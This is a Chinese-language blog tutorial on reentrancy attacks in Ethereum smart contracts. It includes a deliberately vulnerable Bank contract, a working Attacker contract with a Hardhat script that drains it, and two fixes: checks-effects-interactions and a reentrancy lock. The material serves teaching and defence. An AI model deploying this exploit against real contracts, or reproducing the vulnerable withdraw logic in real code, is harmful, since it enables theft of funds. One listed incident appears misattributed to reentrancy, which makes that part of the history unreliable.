智慧合約安全之重入攻擊

悖論發表於2023-03-31

概述

重入攻擊(Reentrancy Attack)是一種常見的智慧合約安全漏洞,指駭客利用合約中存在的邏輯漏洞,在呼叫合約函式時,利用合約邏輯漏洞,反覆呼叫合約的函式,並利用這種遞迴呼叫的機制,以欺騙合約的計算,從而使攻擊者獲得非法利益。

重入攻擊的本質是合約內部呼叫的函式未能恰當地處理合約狀態的更改。攻擊者利用這個漏洞,將攻擊程式碼插入到合約執行流程中,使得攻擊者可以在合約還未完成之前再次呼叫某個函式(如: fallback, receive),從而讓攻擊者在合約中獲得額外的資產或資訊。

重大事件

  • 2016年,The DAO合約被重入攻擊,被盜取3,600,000枚ETH。從而導致了以太坊進行硬分叉,分叉成以太坊和以太坊經典
  • 2019年,合成資產平臺 Synthetix 遭受重入攻擊,被盜 3,700,000 枚 sETH
  • 2020年,借貸平臺 Lendf.me 遭受重入攻擊,被盜 $25,000,000。
  • 2021年,借貸平臺 CREAM FINANCE 遭受重入攻擊,被盜 $18,800,000。
  • 2022年,演算法穩定幣專案 Fei 遭受重入攻擊,被盜 $80,000,000。

程式碼演示

這裡我使用hardhat建立合約工程。Bank為被攻擊者合約,Attacker為攻擊者合約。ts指令碼模擬整個攻擊流程。

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";

contract Bank {
  mapping(address => uint) balances;

  constructor() payable {}

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw(uint val) external {
    require(val <= balances[msg.sender], "Insufficient balance");
    (bool success, ) = msg.sender.call{value: val}("");
    if (success) {
      console.log('withdraw successfully');
    }
    require(success, "Failed to withdraw");
  
    balances[msg.sender] -= val;
  }
}

contract Attacker {
  Bank bank;

  constructor(address attacked) payable {
    bank = Bank(attacked);
  }

  function attack() external {
    bank.deposit{value: 1 ether}();
    bank.withdraw(1 ether);
  }

  receive() external payable {
    console.log('receive');
    if (address(bank).balance > 1 ether) {
      bank.withdraw(1 ether);
    }
  }
}
import { ethers } from "hardhat";

(async () => {
  const [account1, account2] = await ethers.getSigners();
  const Bank = await ethers.getContractFactory("Bank");
  const bank = await Bank.connect(account2).deploy({ value: ethers.utils.parseEther('30') });
  await bank.deployed();
  console.log("The address of the bank contract is:", bank.address);

  const Attacker = await ethers.getContractFactory("Attacker");
  const attacker = await Attacker.connect(account1).deploy(bank.address, { value: ethers.utils.parseEther('1') });
  await attacker.deployed();
  console.log("The address of the attacker contract is:", attacker.address);

  try {
    await attacker.attack();
  } catch (err: any) {
    console.log(err.message);
  }
  const balance = await ethers.provider.getBalance(bank.address);
  console.log('The balance of bank is:', balance);
  console.log('The balance of attacker is:', await ethers.provider.getBalance(attacker.address));
})();
  1. 惡意攻擊者部署attacker合約,並呼叫attack合約函式
  2. attack合約函式向bank合約deposit 1eth,此時,bank合約的balances中會記錄attacker合約的存款數
  3. attacker合約向bank合約withdraw 1eth, 由於balances[msg.sender] === 1eth, 順利透過bank合約的餘額判斷,執行msg.sender.call, 向attacker合約轉賬,觸發attacker合約的receive函式,然而receive函式卻再次呼叫bank合約的withdraw, 從而形成了重入(遞迴呼叫)

reentrancy.png

如何修復和預防

目前主要透過兩種方式修復和預防重入攻擊,檢查-生效-互動模式和重入鎖

檢查-生效-互動(checks-effect-interaction)

檢查-生效-互動模式是指,編寫合約函式時

  1. 先檢查狀態是否滿足條件。以Bank合約為例,即 require(val <= balances[msg.sender], "Insufficient balance");
  2. 再更新狀態。以Bank合約為例,即 balances[msg.sender] -= val;
  3. 最後再和其它合約進行互動。以Bank合約為例,即(bool success, ) = msg.sender.call{value: val}("");

以下為透過檢查-生效-互動模式修復的Bank合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";

contract Bank {
  mapping(address => uint) balances;

  constructor() payable {}

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw(uint val) external {
    // 檢查
    require(val <= balances[msg.sender], "Insufficient balance");
    // 生效
    balances[msg.sender] -= val;
    // 互動
    (bool success, ) = msg.sender.call{value: val}("");
    if (success) {
      console.log('withdraw successfully');
    }
    require(success, "Failed to withdraw");
  }
}

重入鎖

在solidity合約開發中,重入鎖是一種防止重入函式的修飾器(modifier)。它透過一個預設為0
的狀態變數_status 來控制被修飾函式是否應該被順利執行。被重入鎖修飾的函式,在第一次呼叫時會檢查_status是否為0,緊接著將_status的值設定為1,呼叫結束後再將_status改為0。這樣,當攻擊合約在呼叫結束前第二次的呼叫就會報錯,重入攻擊就失敗了

以下為透過重入鎖修復的Bank合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "hardhat/console.sol";

contract Bank {
  uint8 private _status;
  mapping(address => uint) balances;

  constructor() payable {}

  // 重入鎖
  modifier nonReentrant() {
      require(_status == 0, "Reentrant call");
      _status = 1;

      _;
    
      _status = 0;
    }

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw(uint val) external nonReentrant {
    require(val <= balances[msg.sender], "Insufficient balance");
    (bool success, ) = msg.sender.call{value: val}("");
    if (success) {
      console.log('withdraw successfully');
    }
    require(success, "Failed to withdraw");
  
    balances[msg.sender] -= val;
  }
}

結語

重入攻擊是一種常見的合約攻擊手段,在以太坊歷史上也造成過重大的資產損失。預防重入攻擊的方式主要有檢查-生效-互動和重入鎖。新手在開發合約時,推薦使用重入鎖(nonReentrant修飾符),預防重入攻擊

程式碼倉庫

https://github.com/demo-box/blockchain-demo/tree/main/reentrancy

相關文章